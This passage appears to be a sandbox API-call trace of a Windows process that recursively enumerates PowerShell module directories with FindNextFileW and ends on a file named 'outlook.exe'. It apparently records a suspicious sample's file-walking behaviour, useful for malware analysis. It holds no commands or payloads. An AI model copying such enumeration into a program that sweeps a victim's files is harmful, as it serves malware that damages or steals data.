	[0167.674] FindClose (in: hFindFile=0x4140e18 | out: hFindFile=0x4140e18) returned 1
	[0167.675] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0167.675] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0
	[0167.675] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0167.675] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0167.675] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0
	[0167.675] FindClose (in: hFindFile=0x4140b58 | out: hFindFile=0x4140b58) returned 1
	[0167.675] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.675] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0
	[0167.675] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0167.675] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0167.677] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0
	[0167.677] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0167.677] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0167.678] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1
	[0167.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.680] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0167.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0167.680] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0
	[0167.680] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0167.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0167.683] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1
	[0167.683] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.683] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1
	[0167.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.684] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1
	[0167.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.684] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1
	[0167.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.684] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0
	[0167.684] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0167.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.684] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1
	[0167.686] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.687] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1
	[0167.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.687] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0167.689] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.689] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0
	[0167.690] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0167.690] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0167.690] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1
	[0167.690] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.690] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1
	[0167.690] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.690] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1
	[0167.690] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.690] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1
	[0167.691] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.691] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0
	[0167.691] FindClose (in: hFindFile=0x4140b58 | out: hFindFile=0x4140b58) returned 1
	[0167.691] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.691] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1
	[0167.693] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0167.693] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1
	[0167.694] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0167.694] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0168.052] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.052] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0
	[0168.052] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0168.062] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0168.062] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0
	[0168.062] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0168.074] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0168.084] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1
	[0168.087] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.087] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1
	[0168.087] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0168.087] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0
	[0168.088] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0168.088] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0168.089] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1
	[0168.092] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.092] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0168.092] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0168.092] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1
	[0168.094] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0168.094] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0168.094] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0168.094] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 0
	[0168.094] FindClose (in: hFindFile=0x4140d58 | out: hFindFile=0x4140d58) returned 1
	[0168.094] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0168.095] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0
	[0168.095] FindClose (in: hFindFile=0x4140dd8 | out: hFindFile=0x4140dd8) returned 1
	[0168.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0168.095] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d01540, ftCreationTime.dwHighDateTime=0x1d56f64, ftLastAccessTime.dwLowDateTime=0xb9de0bd0, ftLastAccessTime.dwHighDateTime=0x1d5e812, ftLastWriteTime.dwLowDateTime=0xb9de0bd0, ftLastWriteTime.dwHighDateTime=0x1d5e812, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe", cAlternateFileName="")) returned 1
	[0168.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
